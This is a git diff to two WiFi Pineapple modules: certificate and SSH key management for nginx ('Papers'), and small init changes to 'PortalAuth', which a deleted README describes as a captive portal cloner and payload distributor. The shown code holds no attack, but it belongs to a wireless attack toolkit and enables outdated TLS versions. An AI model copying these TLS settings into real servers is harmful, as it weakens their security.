"ssl_certificate" in line: + i = line.rfind("/") + certs.append(line[i+1:].strip(";\n")) + + return certs + + + def getServerBlockIndex(self): + index = 0 + for line in self.lines: + if ("listen" in line) and not ("80" in line or "443" in line): + return index + index = index + 1 + + return False + + + def checkSSLConfigStatus(self): + index = self.serverBlockIndex + for line in self.lines[index:]: + if "1471 ssl;" in line: + return True + + return False + + + def addSSLConfig(self, keyName): + + # Check if SSL has already been configured for port 1471 + if self.checkSSLConfigStatus(): + return True + + index = 0 + cert = keyName + ".cer" + key = keyName + ".key" + + with open(self.nginxConf, "w") as out: + for line in self.lines: + if index == self.serverBlockIndex: + line = "\t\tlisten\t1471 ssl;\n" + + if index > self.serverBlockIndex: + if "root /pineapple/;" in line: + self.lines.insert(index + 1, "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" + "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" + "\t\tssl_protocols TLSv1 TLSv1.1 TLSv1.2;\n") + index = index + 1 + out.write(line) + call(["/etc/init.d/nginx", "reload"]) + + return True + + def replaceSSLConfig(self, newKey): + cert = newKey + ".cer" + key = newKey + ".key" + currentKey = self.currentSSLCerts[0].rsplit(".")[0] + index = 0 + + with open(self.nginxConf, "w") as out: + for line in self.lines: + if index > self.serverBlockIndex: + if (currentKey + ".cer") in line: + line = "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" + + if (currentKey + ".key") in line: + line = "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" + + index = index + 1 + out.write(line) + + call(["/etc/init.d/nginx", "reload"]) + + + def removeSSLConfig(self): + index = 0 + with open(self.nginxConf, "w") as out: + for line in self.lines: + if index == self.serverBlockIndex: + line = "\t\tlisten\t1471;\n" + + if index > self.serverBlockIndex: + if "ssl_certificate" in line or "ssl_protocols" in line: + continue + + index = index + 1 + out.write(line) + + call(["/etc/init.d/nginx", "reload"]) \ No newline at end of file diff --git a/Papers/includes/scripts/copyKeys.sh b/Papers/includes/scripts/copyKeys.sh index 4b7f30d..b100a54 100755 --- a/Papers/includes/scripts/copyKeys.sh +++ b/Papers/includes/scripts/copyKeys.sh @@ -3,8 +3,8 @@ # Author: sud0nick # Date: Jan 2016 -if ! cp $1.pem /etc/nginx/ssl/; then - echo "Failed to copy $1.pem to /etc/nginx/ssl/"; +if ! cp $1.key /etc/nginx/ssl/; then + echo "Failed to copy $1.key to /etc/nginx/ssl/"; fi if ! cp $1.cer /etc/nginx/ssl/; then diff --git a/Papers/includes/scripts/encryptKeys.sh b/Papers/includes/scripts/encryptKeys.sh index bdb3f5c..918a945 100755 --- a/Papers/includes/scripts/encryptKeys.sh +++ b/Papers/includes/scripts/encryptKeys.sh @@ -90,7 +90,7 @@ done; # Generate a password on the private key if [ $ENCRYPT_KEYS = true ]; then - openssl rsa -$ALGO -in $ssl_store$KEY.pem -out $ssl_store$KEY.pem -passout pass:"$PASS"; + openssl rsa -$ALGO -in $ssl_store$KEY.key -out $ssl_store$KEY.key -passout pass:"$PASS"; fi # If a container type is present but not an algo or pass then use @@ -104,7 +104,7 @@ if [ -n "$CONTAINER" ]; then fi # Generate a container for the public and private keys - openssl $CONTAINER -$CALGO -export -nodes -out $ssl_store$KEY.pfx -inkey $ssl_store$KEY.pem -in $ssl_store$KEY.cer -passin pass:"$PASS" -passout pass:"$CPASS"; + openssl $CONTAINER -$CALGO -export -nodes -out $ssl_store$KEY.pfx -inkey $ssl_store$KEY.key -in $ssl_store$KEY.cer -passin pass:"$PASS" -passout pass:"$CPASS"; fi echo "Complete" diff --git a/Papers/includes/scripts/genSSHKeys.sh b/Papers/includes/scripts/genSSHKeys.sh index f3beef0..674d8fa 100755 --- a/Papers/includes/scripts/genSSHKeys.sh +++ b/Papers/includes/scripts/genSSHKeys.sh @@ -55,5 +55,5 @@ if [[ -z $KEYNAME ]]; then exit; fi -ssh-keygen -q -b $BITSIZE -t rsa -N "$PASSWORD" -f $SSH_STORE$KEYNAME.pem -C $COMMENT -mv $SSH_STORE$KEYNAME.pem.pub $SSH_STORE$KEYNAME.pub +ssh-keygen -q -b $BITSIZE -t rsa -N "$PASSWORD" -f $SSH_STORE$KEYNAME.key -C $COMMENT +mv $SSH_STORE$KEYNAME.key.pub $SSH_STORE$KEYNAME.pub diff --git a/Papers/includes/scripts/readKeys.sh b/Papers/includes/scripts/readKeys.sh index cd70ec9..5ea9f77 100755 --- a/Papers/includes/scripts/readKeys.sh +++ b/Papers/includes/scripts/readKeys.sh @@ -11,7 +11,7 @@ while read p; do IN_SERVER_BLOCK=true; fi else - if [[ $p == *".cer;" || $p == *".pem;" ]]; then + if [[ $p == *".cer;" || $p == *".key;" ]]; then echo $p | cut -d '/' -f 5 | tr -d ';'; fi fi diff --git a/Papers/includes/scripts/ssl.cnf b/Papers/includes/scripts/ssl.cnf new file mode 100644 index 0000000..a8e4c6c --- /dev/null +++ b/Papers/includes/scripts/ssl.cnf @@ -0,0 +1,17 @@ +[req] +prompt = no +distinguished_name = req_distinguished_name +x509_extensions = req_ext + +[req_distinguished_name] +organizationName = :ORG: +organizationalUnitName = :OU: +localityName = :LOC: +stateOrProvinceName = :ST: +countryName = :C: +commonName = :COM: + +[req_ext] +subjectAltName = @alt_names + +[alt_names] \ No newline at end of file diff --git a/Papers/includes/scripts/testEncrypt.sh b/Papers/includes/scripts/testEncrypt.sh index 10821e1..bffb14f 100755 --- a/Papers/includes/scripts/testEncrypt.sh +++ b/Papers/includes/scripts/testEncrypt.sh @@ -23,7 +23,7 @@ while [ "$#" -gt 0 ] do if [[ "$1" == "-k" ]]; then - KEY="$2.pem" + KEY="$2.key" fi if [[ "$1" == "-d" ]]; then KEYDIR="$2" diff --git a/Papers/includes/scripts/unpackKeyArchive.sh b/Papers/includes/scripts/unpackKeyArchive.sh index a4c9240..d409d48 100755 --- a/Papers/includes/scripts/unpackKeyArchive.sh +++ b/Papers/includes/scripts/unpackKeyArchive.sh @@ -39,14 +39,14 @@ output=$(unzip $FILE.zip -d $DL_DIR); # keys are destined for the SSH directory if [[ $output == *".pub"* ]]; then mv $FILE.pub /pineapple/modules/Papers/includes/ssh/ - mv $FILE.pem /pineapple/modules/Papers/includes/ssh/ + mv $FILE.key /pineapple/modules/Papers/includes/ssh/ fi # If the archive contained a .cer these # keys are destined for the SSL directory if [[ $output == *".cer"* ]]; then mv $FILE.cer /pineapple/modules/Papers/includes/ssl/ - mv $FILE.pem /pineapple/modules/Papers/includes/ssl/ + mv $FILE.key /pineapple/modules/Papers/includes/ssl/ fi # Clear the download directory diff --git a/Papers/js/module.js b/Papers/js/module.js index d5d63fa..c1b8e50 100755 --- a/Papers/js/module.js +++ b/Papers/js/module.js @@ -5,6 +5,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $scope.certBitSize = "2048"; $scope.certDaysValid = "365"; $scope.certSigAlgo = "sha256"; + $scope.certSANs = ""; $scope.certKeyName = ""; $scope.modifyCertInfo = false; $scope.certInfoCountry = ""; @@ -130,6 +131,9 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct if ($scope.certDaysValid != ''){ params['days'] = $scope.certDaysValid; } + if ($scope.certSANs != '') { + params['sans'] = $scope.certSANs; + } if ($scope.certEncryptKeysBool === true) { params['encrypt'] = ""; params['algo'] = $scope.certEncryptAlgo; @@ -168,6 +172,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $scope.certDaysValid = "365"; $scope.certBitSize = "2048"; $scope.certSigAlgo = "sha256"; + $scope.certSANs = ""; $scope.certKeyName = ""; $scope.certInfoCountry = ""; $scope.certInfoState = ""; @@ -251,7 +256,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct params: {cert,type} },function(response) { $scope.showCertThrobber = false; - if (response.success === true) { + if (response.error === "HTTP Error") { // Redirect if key type is TLS/SSL if (type == "TLS/SSL") { $scope.redirect("https"); @@ -297,7 +302,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $scope.showRemoveSSLButton = true; $scope.refresh(); - if (response.success === true) { + if (response.error === "HTTP Error") { $scope.redirect("http"); } else { } @@ -399,7 +404,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $http.post("/modules/Papers/api/module.php", fd, { transformRequest: angular.identity, headers: {'Content-Type': undefined} - }).success(function(response) { + }).then(function(response) { for (var key in response) { if (response.hasOwnProperty(key)) { if (response.key == "Failed") { @@ -413,7 +418,23 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct }); }); + $scope.init = (function(){ + $api.request({ + module: 'Papers', + action: 'init' + },function(response){ + if (response.success == false) { + if (response.message != '') { + $scope.getLogs(); + } else { + alert(response.message); + } + } + }); + }); + // Init + $scope.init(); $scope.checkDepends(); $scope.refresh(); }]) diff --git a/Papers/module.html b/Papers/module.html index d8f086f..2d0cade 100755 --- a/Papers/module.html +++ b/Papers/module.html @@ -209,43 +209,50 @@ $(document).on('mouseenter', '.papers_hoverDanger', function() { +
+
+
+
+
+
+
-
+
+
+
+
+
+
diff --git a/Papers/module.info b/Papers/module.info
index 80e5b6f..11d547d 100755
--- a/Papers/module.info
+++ b/Papers/module.info
@@ -6,5 +6,5 @@
"tetra"
],
"title": "Papers",
- "version": "1.4"
+ "version": "1.5"
}
\ No newline at end of file
diff --git a/PortalAuth/README.md b/PortalAuth/README.md
deleted file mode 100755
index 0c64461..0000000
--- a/PortalAuth/README.md
+++ /dev/null
@@ -1,2 +0,0 @@
-# PortalAuth
-Captive portal cloner and payload distributor for the WiFi Pineapple NANO and TETRA
diff --git a/PortalAuth/api/module.php b/PortalAuth/api/module.php
index 2fcfd36..f1d04a6 100755
--- a/PortalAuth/api/module.php
+++ b/PortalAuth/api/module.php
@@ -94,6 +94,9 @@ class PortalAuth extends Module
{
public function route() {
switch($this->request->action) {
+ case 'init':
+ $this->init();
+ break;
case 'depends':
$this->depends($this->request->params);
break;
@@ -224,6 +227,19 @@ class PortalAuth extends Module
}
}
+ /* ============================ */
+ /* INIT FUNCTIONS */
+ /* ============================ */
+
+ private function init() {
+ if (!file_exists(__LOGS__)) {
+ if (!mkdir(__LOGS__, 0755, true)) {
+ $this->respond(false, "Failed to create logs directory");
+ return false;
+ }
+ }
+ }
+
//============================//
// DEPENDENCY FUNCTIONS //
//============================//
diff --git a/PortalAuth/js/module.js b/PortalAuth/js/module.js
index cd997a5..3eb7300 100755
--- a/PortalAuth/js/module.js
+++ b/PortalAuth/js/module.js
@@ -640,7 +640,7 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval
$http.post("/modules/PortalAuth/api/module.php", fd, {
transformRequest: angular.identity,
headers: {'Content-Type': undefined}
- }).success(function(response) {
+ }).then(function(response) {
for (var key in response) {
if (response.hasOwnProperty(key)) {
if (response.key == "Failed") {
@@ -716,8 +716,25 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval
$interval.cancel($scope.stop);
$scope.stop = undefined;
});
-
+
+ // Init
+ $scope.init = (function(){
+ $api.request({
+ module: 'PortalAuth',
+ action: 'init'
+ },function(response){
+ if (response.success == false) {
+ if (response.message != '') {
+ $scope.getLogs();
+ } else {
+ alert(response.message);
+ }
+ }
+ });
+ });
+
// Init functions
+ $scope.init();
$scope.depends("-check");
$scope.isOnline();
$scope.checkTestServerConfig();
diff --git a/PortalAuth/module.info b/PortalAuth/module.info
index 9161697..66cf489 100755
--- a/PortalAuth/module.info
+++ b/PortalAuth/module.info
@@ -6,5 +6,5 @@
"tetra"
],
"title": "Portal Auth",
- "version": "1.4"
+ "version": "1.5"
}
\ No newline at end of file
|